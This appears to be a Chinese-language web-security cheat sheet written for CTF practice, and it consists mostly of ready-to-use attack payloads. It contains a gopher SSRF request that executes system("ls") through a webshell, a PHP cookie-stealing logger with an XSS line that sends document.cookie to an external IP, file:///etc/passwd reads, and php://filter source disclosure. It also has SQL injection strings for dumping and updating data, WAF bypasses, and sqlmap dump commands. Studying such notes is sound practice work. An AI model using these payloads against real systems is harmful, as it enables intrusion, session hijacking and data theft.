一点点曾经整理的Web笔记,篇幅会相对较小一点。
1. XXE 攻击 (XML)
-
示例
1
2
3
4
5
6
7
8
9
<user>
<username>
&xxe;
</username>
<password>
</password>
</user>
2. SSRF
函数的注意点
1. cURL
2. file_get_contents
- gopher 协议无法URLencode
- 关于gopher的302跳转有bug,导致利用失败
一个有趣的域名
xip.io - 这个域名在bypass WAF时可能会有点作用
以下是简介
1 | What is xip.io? |
注意:windows清除本地DNS缓存的命令为
ipconfig/flusdns
(别问我为什么要给出来,相信我,你一定会用上的 XD)
1. file协议
file://localhost/etc/passwd 能够读取到 /etc/passwd 的内容,同时这种情况会忽略 host
2. gopher协议
1 | gopher://{host}:{port}/_{body} |
使用方法:
-
首先构造 POST 的 payload
1
admin=h1admin&hacker=system("ls");
-
然后构造整个 HTTP 请求( Content-Length不能少 )
注意:- 每个冒号后面都有一个空格
- http头和携带的请求数据之间间隔一个空行
- 所有的换行都是 '\r\n’
- 分号一定要用
%3B
- Content-Length 是 html报文中 body的长度(URL编码前) , 不包括报头
- Content-Length一定要设置正确,否则会返回http 400错误
1
2
3
4
5
6
7
8POST /webshe11111111.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
admin=h1admin&hacker=system("ls"); -
加上协议的其他部分
1
2
3
4
5
6
7
8gopher://127.0.0.1:80/_POST /webshe11111111.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
admin=h1admin&hacker=system("ls"); -
url 编码 (有些部分需要二次编码,例如
%0d %0a %20 分别编码为 %250d %250a %2520
)1
gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Fwebshe11231231231.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AUser-Agent%3A%2520curl%2F7.43.0%250D%250AAccept%3A%2520*%2F*%250D%250AContent-Length%3A%252034%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250A%250D%250Aadmin%3Dh1admin%26hacker%3Dsystem(%22ls%22)%3B
-
访问该地址得到目录下的文件
3. xss攻击
-
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset( $_GET["code"]))
$cookie = $_GET["code"];
else
$cookie = "no_cookies";
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp, "Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
echo "Visited";
// <script>document.location="http://222.186.150.131:37992/index.php?code="+document.cookie;</script> -
有趣的域名
- 倘若自己没有独立的服务器, 或不能内网穿透,可以试试这个域名
- 这个网站会记录下发送到个人子域名的所有http流量,如此便可以得到返回的cookie
在console窗口中输入如下代码刷新页面即可设置新cookies
1 | document.cookie="keyName=cookeiValue"; |
4. ⽂件包含+伪协议 base64 解码
1 | http://test.com/index.php?action=php://filter/convert.base64-encode/resource=flag.php |
5. SQL
-
sql 注入
注意点:
在地址栏输入#
时,应尽量改写成%23
,原因是#
在地址栏中有特殊的含义
在地址栏输入空格%20
或+
-
常用过WAF的套路
-
空格过滤
- 用注释符
/**/
1
id=1'/*1*/union/*1*/select/*1*/database();#
- 用注释符
-
-
常用语句
-
判断当前表的列数
1
order by 列数 %23
-
获取当前数据库名
1
union select database() %23
-
获取所有数据库名
1
union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA %23
-
获取指定数据库的表名
1
union select group_concat(table_name) from information_schema.tables where table_schema='数据库名' %23
-
获取指定数据表的列名(字段名)
1
union select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' %23
-
获取指定数据表指定字段的全部数据(使用
where
指定单一数据)1
union select 字段名 from 表名 %23
-
修改指定数据表指定字段的数据(使用
where
指定单一数据)1
; UPDATE 表名 set 字段=内容 where 1=1
-
-
-
sqlmap常用语法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23检查注入点:
sqlmap -u http://xxxx.com/index.php?artist_id=11
爆所有数据库信息:
sqlmap -u http://xxxx.com/index.php?artist_id=11 --dbs
爆当前数据库信息:
sqlmap -u http://xxxx.com/index.php?artist_id=11 --current-db
指定库名列出所有表
sqlmap -u http://xxxx.com/index.php?artist_id=11 -D vhost48330 --tables # 'vhost48330' 为指定数据库名称
指定库名表名列出所有字段
sqlmap -u http://xxxx.com/index.php?artist_id=11 -D vhost48330 -T admin --columns# 'admin' 为指定表名称
指定库名表名字段dump出指定字段
sqlmap -u http://xxxx.com/index.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump# 'ac,id,password' 为指定字段名称
各种过WAF的tamper脚本
sqlmap -u http://xxxx.com/index.php?artist_id=11 --dbs --tamper="space2plus.py,hex2char.py"
使用多线程
sqlmap -u http://xxxx.com/index.php?artist_id=11 --dbs --thread=10 -
其他
- information_schema 数据库表说明:
- SCHEMATA 表:提供了当前 mysql 实例中所有数据库的信息。
show databases
的结果取之此表。 - TABLES 表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息。
show tables from schemaname
的结果取之此表。 - COLUMNS 表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
show columns from schemaname.tablename
的结果取之此表。
- SCHEMATA 表:提供了当前 mysql 实例中所有数据库的信息。
- information_schema 数据库表说明:
-
常用 sql 语法
1
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
6. php
-
php 超全局变量
1
2
3
4
5
6
7
8
9$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION -
md5 碰撞 => 利用 php 弱类型
- 0e 纯数字的字符串在判断相等的时候会被认为是科学计数法的数字,⽐较时⾸先会做字符串到数字的转换。
- 转换后都成为了 0 的 n 次⽅,相等。
- md5 以 0e 开头的字符例子:
QNKCDZO
240610708